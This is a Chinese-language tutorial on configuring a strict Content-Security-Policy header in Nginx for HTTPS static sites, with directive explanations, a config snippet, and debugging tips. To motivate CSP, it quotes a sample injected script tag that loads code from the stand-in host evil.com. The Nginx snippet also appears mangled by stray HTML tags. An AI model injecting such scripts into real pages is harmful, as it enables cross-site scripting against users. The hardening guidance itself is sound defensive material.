CSP是HTTPS下必须配置的安全防线,因HTTPS仅保障传输安全,无法阻止页面执行恶意代码;需通过Nginx的add_header设置严格策略,如default-src 'none'并显式放行必需资源,避免unsafe-inline等危险指令。

在 Nginx 提供静态资源服务且启用 HTTPS 的场景下,内容安全策略(CSP)不是可选项,而是必须配置的安全防线。它能有效缓解 XSS、数据注入、恶意资源加载等风险,尤其当页面混合了内联脚本、第三方字体、CDN 图片或动态加载的模块时,一个宽松或缺失的 CSP 可能让 HTTPS 的加密优势大打折扣。
为什么 HTTPS 下仍需严格 CSP
HTTPS 保证传输过程不被窃听和篡改,但无法阻止页面自身执行恶意代码。比如:攻击者通过其他漏洞注入 <script src="http://evil.com/x.js"></script>,只要浏览器允许加载该外部脚本,HTTPS 也救不了——而 CSP 正是告诉浏览器“只信哪些来源”的守门人。
常见误区是认为“用了 HTTPS 就安全了”,其实 HTTPS + 宽松 CSP ≈ 锁好大门却敞开所有窗户。
基础 CSP 响应头配置(Nginx)
在 Nginx 静态服务配置中,通过 add_header 指令设置 Content-Security-Policy。推荐从严格模式起步,逐步放宽:
-
默认禁止一切:
default-src 'none'—— 所有类型资源(脚本、样式、图片、连接等)默认都不允许加载 -
显式放行必需资源:
-
script-src 'self'—— 只允许同源 JS(不含内联脚本) -
style-src 'self' 'unsafe-inline'—— 同源 CSS + 允许内联 style(多数 UI 框架依赖) -
img-src 'self' data:—— 同源图片 + data URI(如 base64 图标) -
font-src 'self'—— 同源字体文件 -
connect-src 'self'—— AJAX / fetch / WebSocket 仅限同源 API -
base-uri 'self'—— 防止<base href>被劫持 -
form-action 'self'—— 表单提交只允许到同源
-
-
禁用危险指令:避免使用
'unsafe-eval'、'unsafe-inline'(对 script-src),除非有强理由并已评估风险
示例 Nginx 配置片段:
location / {
root /var/www/static;
try_files $uri $uri/ =404;
<h1>CSP 头(注意:add_header 在 location 中会覆盖上级,建议统一管理)</h1><p>add_header Content-Security-Policy "default-src 'none'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self'; connect-src 'self'; base-uri 'self'; form-action 'self';" always;
}</p>处理常见例外与调试技巧
CSP 生效后,浏览器会在控制台输出被拦截的资源及违反规则,这是调优的关键依据:
-
启用报告模式先行观察:先用
Content-Security-Policy-Report-Only替代Content-Security-Policy,配合report-uri或report-to收集违规日志,不实际阻断 -
内联脚本/样式绕过方案:
- 提取为外部文件(最推荐)
- 若必须保留内联,可用
nonce(每次响应生成唯一值)或hash(如sha256-...)白名单,需后端配合或构建时注入
-
第三方资源(如统计、埋点、字体 CDN):明确添加其域名,例如
script-src 'self' https://cdn.example.com;避免通配符*,更不要写成https: -
WebSocket 连接:属于
connect-src范畴,若使用 wss://xxx,则需在connect-src中显式包含wss://xxx
进阶建议与注意事项
CSP 是纵深防御的一环,需与其他机制协同:
-
始终开启
Strict-Transport-Security(HSTS):强制浏览器只用 HTTPS 访问,防止协议降级绕过 CSP -
避免
unsafe-inline用于 script-src:它会使 CSP 对 XSS 几乎失效;用nonce或hash更安全 -
静态资源加哈希指纹(如
main.a1b2c3.js):便于在 CSP 中用script-src 'self'精确控制,同时支持缓存长期化 - 检查 HTTP 响应头冲突:确保没有其他中间件(如 CDN、WAF)覆盖或删除你设置的 CSP 头
不复杂但容易忽略:CSP 必须随前端资源变化持续演进,上线新组件、接入新 SDK、更换 CDN 域名时,都要同步更新策略。

















